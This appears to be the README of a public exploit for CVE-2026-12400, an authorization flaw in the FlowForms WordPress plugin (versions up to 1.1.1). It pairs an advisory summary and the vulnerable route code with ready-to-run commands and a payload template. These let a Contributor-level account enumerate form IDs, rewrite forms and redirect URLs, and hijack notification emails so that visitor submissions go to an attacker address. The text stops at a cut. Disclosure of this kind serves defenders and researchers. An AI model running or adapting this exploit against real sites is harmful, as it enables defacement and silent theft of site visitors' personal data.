
Authenticated WordPress IDOR exploit for CVE-2026-12400; enumerates FlowForms REST form IDs and modifies form content or hijacks email notifications.
Authenticated (Contributor+) Insecure Direct Object Reference to Arbitrary Form Modification in FlowForms ≤ 1.1.1
| Property | Value |
|---|---|
| CVE ID | CVE-2026-12400 |
| CVSS Score | 4.3 — Medium |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| CWE | CWE-639 (Authorization Bypass Through User-Controlled Key) |
| Product | FlowForms — WordPress Conversational Form Builder Plugin |
| Affected | All versions up to and including 1.1.1 |
| Fixed In | Fixed in 1.1.2 |
| Researcher | Phantom Hat |
Full white-box case study with source code analysis, input flow tracing, and patch diffing:
FlowForms exposes two REST API endpoints under the flowforms/v1 namespace that are vulnerable:
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings
Both accept a user-controlled {id} in the URL path and modify the target form's data — name, content, layout, redirect URL, and email notification recipients.
Both vulnerable route registrations share the same flawed permission_callback:
// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_settings'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts is a capability held by Contributors. The {id} parameter is never checked against the requesting user's ownership — any authenticated user can target any form ID on the site.
Attacker (Contributor) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) Authenticate as Contributor
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Harvest REST nonce
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Enumerate published forms
│<─ HTTP 200 ───────────────────────│ (any accessible form is a target)
│ │
│── POST /flowforms/v1/forms/{id} │ (4a) Overwrite form name / content
│ with attacker payload ─────>│ ← no owner check
│<─ { "success": true } ────────────│
│ │
│── POST /flowforms/v1/forms/{id} │ (4b) Hijack email notifications
│ /settings ─────────────────>│ ← attacker receives all
│<─ { "success": true } ────────────│ future form submissions
│ │
│ All 3 attack vectors confirmed │ (5) Name ✔ Content ✔ Email ✔
| Mode | Endpoint | Impact |
|---|---|---|
name | /forms/{id} | Rename any form — defacement, social engineering |
content | /forms/{id} | Overwrite layout, welcome/thank-you screens, redirect URL |
email | /forms/{id}/settings | Hijack notification email — silently receive all form submissions |
The email mode is the most critical. After hijacking, every submission to the victim's contact form — including visitor PII, messages, and contact details — is silently forwarded to the attacker-controlled address. The site administrator sees no indication of the change.
Contributor role on the target sitegit clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt
Rename any form to attacker-controlled content:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit name
Overwrite form layout, screens, redirect URL, and background images:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit content
Redirect all future form submission notifications to an attacker-controlled address:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
python3 exploit.py \
-u http://TARGET \
-p http://127.0.0.1:8080 \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
| Flag | Short | Description | Required |
|---|---|---|---|
--url | -u | Target WordPress URL | ✅ |
--user | WordPress username (Contributor+) | ✅ | |
--password | WordPress password | ✅ | |
--id-start | -i | Starting form ID for enumeration | ✅ |
--num-forms | -n | Number of form IDs to enumerate | ✅ |
--exploit | Attack mode: name / content / email | ✅ | |
--proxy | -p | Proxy URL (e.g. http://127.0.0.1:8080) | ❌ |
The JSON payload templates (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) are defined at the top of the script. Edit them before running to customise the attack content — change the notification email address, redirect URL, background image, form title, etc.
# Top of exploit.py
EMAIL_EDIT = json.loads("""{
"settings": {
"email": {
"enabled": true,
"notifications": {
"1": {
"email": "[email protected]", # ← change this
...
}
}
}
}
}""")
The exploit performs three automated steps: